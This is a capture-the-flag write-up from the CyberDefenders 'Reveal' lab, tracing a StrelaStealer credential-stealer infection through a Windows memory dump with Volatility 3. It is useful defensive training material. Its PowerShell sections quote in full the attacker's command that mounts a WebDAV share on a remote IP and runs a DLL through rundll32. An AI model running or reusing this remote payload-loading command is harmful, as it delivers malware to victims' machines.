← Back to Writeups
CyberDefenders · Reveal Lab · Memory Forensics · Volatility

Reveal
Hunting StrelaStealer
in Memory

Financial Institution Incident Response · Windows 10 · Volatility 3 · Hidden PowerShell · LOLBin Execution
Memory Forensics Volatility 3 StrelaStealer T1218.011 LOLBin
00 — Background

The Case: Unusual Activity on a Financial Workstation

A forensic investigator at a financial institution receives an urgent callout. The SIEM has flagged unusual activity originating from a workstation with access to sensitive financial data. The machine belongs to a user named Elon. A memory dump has been acquired — the task is to figure out what happened before the evidence degrades further.

This is a pure memory forensics investigation — no disk image, no email archive, no network logs. Just a snapshot of RAM at a single point in time, and everything we need to know is buried somewhere inside it. The challenge is knowing where to look.

🔬 Investigation Approach
Memory forensics is surgical. Unlike disk forensics where you can browse a filesystem, a memory dump gives you a frozen moment — processes that were running, network connections that were active, commands that were executing. Miss the right artifact and the whole picture falls apart. This investigation walks through the Volatility 3 plugin chain that cracked it open.
Target
Financial Institution Workstation
OS
Windows 10 x64 Build 19041.1
Memory Captured
2024-07-15 07:00:08
Suspect User
Elon
Malware Family
StrelaStealer
C2 Server
45.9.74.32
01 — Initial Triage

Establishing Ground Truth

Before hunting for anything suspicious, the first step is always establishing the baseline — what machine is this, what OS, when was the dump taken. windows.info gave us everything we needed.

vol.py -f memory.dmp windows.info
# System baseline from memory dump:
OS: Windows 10 x64
Build: 19041.1.amd64fre.vb_release.1912
System Time: 2024-07-15 07:00:08

# Memory dump taken at 07:00:08 — early morning
# Financial workstation, Windows 10, confirmed

Process Enumeration — The Noise Problem

Running pslist and pstree revealed a large number of running processes — a typical Windows 10 environment generates significant process noise. Identifying something malicious purely by eye from a process list is harder than it sounds. Legitimate-looking process names, plausible parent-child relationships, nothing obviously screaming "malware."

🔍 Analyst Note — The Noise Problem
This is one of the most underappreciated challenges in memory forensics. A modern Windows machine runs 60-100+ processes at any given time. Attackers know this — they deliberately name malicious processes after legitimate system binaries, choose parent processes that make sense, and time their execution to blend in. Pattern recognition alone doesn't work. You need the right plugins.
02 — Finding the Needle

malfind — Cutting Through the Noise

When pslist and pstree don't immediately reveal the threat, malfind is the next weapon. It scans memory for regions that have suspicious characteristics — executable code in regions that shouldn't have it, mismatched PE headers, memory sections marked as both writeable and executable (a classic injection indicator).

vol.py -f memory.dmp windows.malfind
# Suspicious processes flagged by malfind:

Process: RuntimeBroker.exe
Process: thunderbird.exe ← email client
Process: SmartScreen.exe
Process: powershell.exe ← can execute scripts

# Four processes with suspicious memory characteristics
# powershell.exe is the most immediately actionable — dig here first

Four flagged processes. PowerShell is the obvious starting point — it's the Swiss Army knife of Windows attack chains. But note that thunderbird.exe is also on the list. We'll come back to that.

03 — The PowerShell Process

PID 3692 — Hidden, Connected, and Running

Process Identity

vol.py windows.pstree — powershell.exe
# PowerShell process details:
Name: powershell.exe
PID: 3692
PPID: 4120

# Checking PPID 4120 — wordpad.exe shares same PPID
# But no process with PID 4120 exists in the dump
Parent PID 4120: NOT FOUND — process terminated before dump

# pstree also reveals hidden network activity
# and DLL execution under this process
⚠️ Orphaned Parent — Classic Evasion
The parent process (PID 4120) spawned both powershell.exe and wordpad.exe — then terminated itself before the memory dump was taken. This is deliberate. By killing the parent, the attacker removes the most obvious evidence of how PowerShell was launched. The orphaned process relationship is itself a red flag, but the launch chain is now partially obscured.

The Hidden Window Flag

The cmdline plugin revealed exactly how PowerShell was invoked — and it confirmed malicious intent immediately:

vol.py windows.cmdline — PID 3692
# Full command line for powershell.exe PID 3692:
powershell.exe -windowstyle hidden

# -windowstyle hidden = no visible window to the user
# PowerShell is running completely invisibly
# User at the keyboard would have no idea
🚨 Windowstyle Hidden
-windowstyle hidden is one of the most common malicious PowerShell flags. It suppresses the terminal window entirely — the process runs silently in the background with zero visual indicator. Combined with an orphaned parent process, this is a deliberate effort to ensure the victim never sees what's executing on their machine. MITRE ATT&CK: T1564.003 — Hide Artifacts: Hidden Window.

Network Connection — The Remote Server

pstree output for PID 3692 revealed hidden network activity. The net use command embedded in the PowerShell execution connected to an external server:

network connection — PID 3692
# Net use command connecting to remote server:
net use \\45.9.74.32@8888\davwwwroot\

# WebDAV connection to 45.9.74.32 on port 8888
# "davwwwroot" = shared directory on remote C2 server
# Facilitates remote file access — loading payloads directly from C2
04 — The LOLBin Chain

rundll32 — Living off the Land

The semicolon in the PowerShell command allowed two instructions to execute on a single line — the net use connection followed immediately by the payload execution. The second command is where it gets sophisticated:

full powershell execution chain
# Full execution chain — two commands on one line:

net use \\45.9.74.32@8888\davwwwroot\
# ^ establishes WebDAV connection to C2

; rundll32 \\45.9.74.32@8888\davwwwroot\3435.dll,entry
# ^ loads 3435.dll directly from C2 shared directory
# ^ calls the "entry" export function to execute payload

# rundll32.exe is a legitimate Windows binary
# being used to execute a malicious DLL over the network
# This is the 2nd-stage payload delivery
🔗 Living off the Land — T1218.011
rundll32.exe is a trusted, signed Windows binary present on every Windows machine. By loading the malicious DLL through rundll32 rather than dropping and executing it directly, the attacker bypasses many AV and EDR controls that would flag an unknown executable. The DLL is also never written to disk — it's loaded directly over the WebDAV connection from the C2 server. Fileless execution. MITRE ATT&CK: T1218.011 — Signed Binary Proxy Execution: Rundll32.

The User Behind the Process

The getsids plugin identified which user account the malicious process was running under:

vol.py windows.getsids — PID 3692
# User account running the malicious process:
Username: Elon

# The malware is running under the legitimate user's account
# No privilege escalation needed — user-level access
# on a financial workstation is already sufficient
05 — Attribution

45.9.74.32 — StrelaStealer

With the C2 IP identified, the final step was attribution. A VirusTotal lookup on 45.9.74.32 connected the malicious file to a well-documented and actively developed malware family:

virustotal — 45.9.74.32 lookup
# IP reputation lookup:
IP: 45.9.74.32
Associated malware family: STRELASTEALER

# Malicious DLL loaded via rundll32:
File: 3435.dll
Delivered via: WebDAV over port 8888
Execution: rundll32.exe → entry export function
06 — The Reveal

Why Thunderbird Was Always the Target

Remember thunderbird.exe — the email client that appeared in the malfind output alongside powershell.exe? That wasn't coincidence. That was the entire point.

StrelaStealer — Built to Hunt Email Credentials

StrelaStealer is not general-purpose malware. It is a credential stealer specifically engineered to target email clients — primarily Mozilla Thunderbird and Microsoft Outlook. It was first documented in late 2022 and has been in active development since, with multiple campaigns targeting organizations across Europe and the United States.

Its primary objective: extract email account credentials stored locally by the email client — usernames, passwords, server configurations — and exfiltrate them to the attacker's C2 infrastructure.

The presence of thunderbird.exe in the malfind output wasn't a red herring. StrelaStealer had already injected into or was monitoring Thunderbird's process — the email client on a financial institution workstation was the prize. Whatever email credentials Elon's Thunderbird had stored — corporate email access, potentially financial system notifications, internal communications — StrelaStealer was there to take them.

The hidden PowerShell window, the WebDAV C2 channel, the rundll32 LOLBin execution, the fileless DLL — all of it was infrastructure built for one purpose: to get StrelaStealer's hooks into that Thunderbird process without triggering an alert.

💀 The Full Picture
A financial institution employee with sensitive data access. An email client running on their workstation. A credential stealer that specifically hunts email clients. Fileless execution to avoid AV. A hidden PowerShell window to avoid user detection. An orphaned parent process to obscure the launch chain. This wasn't opportunistic — this was a targeted operation against a specific type of victim with a specific type of access.
07 — Full Execution Chain

How It All Connected

01
Unknown Parent Process Executes
A process with PID 4120 — likely the initial dropper or loader — spawns both powershell.exe (PID 3692) and wordpad.exe. The parent then terminates itself to erase the launch chain before the memory dump is taken.
Parent Self-Terminates — Evasion
02
Hidden PowerShell Launches
powershell.exe PID 3692 runs with -windowstyle hidden. No terminal window visible to the user. Completely silent execution.
T1564.003 — Hidden Window
03
WebDAV Connection to C2
net use establishes a WebDAV share connection to \\45.9.74.32@8888\davwwwroot\ — mounting the attacker's remote server as an accessible network share.
T1071.001 — Web Protocols C2
04
rundll32 Loads Malicious DLL
rundll32.exe loads 3435.dll directly from the WebDAV share. The DLL is never written to disk. Calls the "entry" export function to execute the 2nd-stage payload — StrelaStealer.
T1218.011 — Signed Binary Proxy: Rundll32
05
StrelaStealer Targets Thunderbird
StrelaStealer payload executes under user "Elon". Targets thunderbird.exe — already running on the financial workstation. Email credentials extracted and exfiltrated to C2 at 45.9.74.32.
T1555 — Credentials from Password Stores
08 — MITRE ATT&CK Mapping

Techniques Observed

T1059.001
PowerShell
Hidden PowerShell execution as primary attack vector
T1564.003
Hidden Window
-windowstyle hidden flag suppresses PowerShell terminal
T1218.011
Signed Binary Proxy: Rundll32
rundll32.exe loads malicious 3435.dll from WebDAV share
T1620
Reflective Code Loading
DLL loaded directly from network — never written to disk
T1071.001
Web Protocols C2
WebDAV over port 8888 for payload delivery and C2
T1555
Credentials from Password Stores
StrelaStealer targets Thunderbird email credentials
T1036
Masquerading
Parent process self-terminates to obscure the launch chain
T1041
Exfiltration Over C2 Channel
Stolen credentials exfiltrated to 45.9.74.32 via established C2
09 — IOC Summary

Indicators of Compromise

IndicatorValueTypeConfidence
C2 Server45.9.74.32IPHIGH
WebDAV Share\\45.9.74.32@8888\davwwwroot\NetworkHIGH
Malicious DLL3435.dll (loaded via rundll32)FileHIGH
Malware FamilyStrelaStealerAttributionHIGH
Malicious Processpowershell.exe PID 3692ProcessHIGH
Execution Flag-windowstyle hiddenBehaviorHIGH
Target Processthunderbird.exe (credential theft target)ProcessHIGH
Suspect UserElonIdentityHIGH
C2 Port8888 (WebDAV)NetworkHIGH
10 — Takeaways

What This Investigation Teaches Us

Memory Forensics Sees What Disk Forensics Misses

The malicious DLL — 3435.dll — was never written to disk. It was loaded directly from a WebDAV share into memory, executed, and left no file system artifact. A traditional disk forensics investigation would have found nothing. The only place this attack was visible was in memory — in the process list, in the network connections, in the command line arguments. This is why memory forensics is indispensable for modern threat detection.

The Right Plugin at the Right Time

pslist and pstree alone would not have cracked this case — the process list was too noisy. It was malfind that surfaced the right processes, cmdline that revealed the hidden execution flag, and getsids that identified the user. Each Volatility plugin answers a different question. Knowing which question to ask next is the real skill.

LOLBins Are a Detection Blind Spot

Using rundll32.exe to load a malicious DLL is effective precisely because rundll32 is legitimate, signed, and present on every Windows installation. Many security controls whitelist it by default. The lesson for defenders: monitor rundll32 execution that loads DLLs from network paths, and flag any -windowstyle hidden PowerShell invocation for immediate investigation.

StrelaStealer Goes Where the Credentials Are

The presence of thunderbird.exe was not background noise — it was the target. StrelaStealer's designers built it specifically to hunt email client credentials because email access is a master key. Corporate email contains authentication tokens, password resets, sensitive communications, and in the case of a financial institution — potential access to systems far beyond what a single workstation credential would provide. Always follow the malware's specific targeting logic. It tells you exactly what the attacker actually wants.

Tools Used — This Investigation
Volatility 3 — windows.info, pslist, pstree, malfind, cmdline, getsids
VirusTotal — IP reputation lookup and malware family attribution
MITRE ATT&CK — TTP mapping and technique identification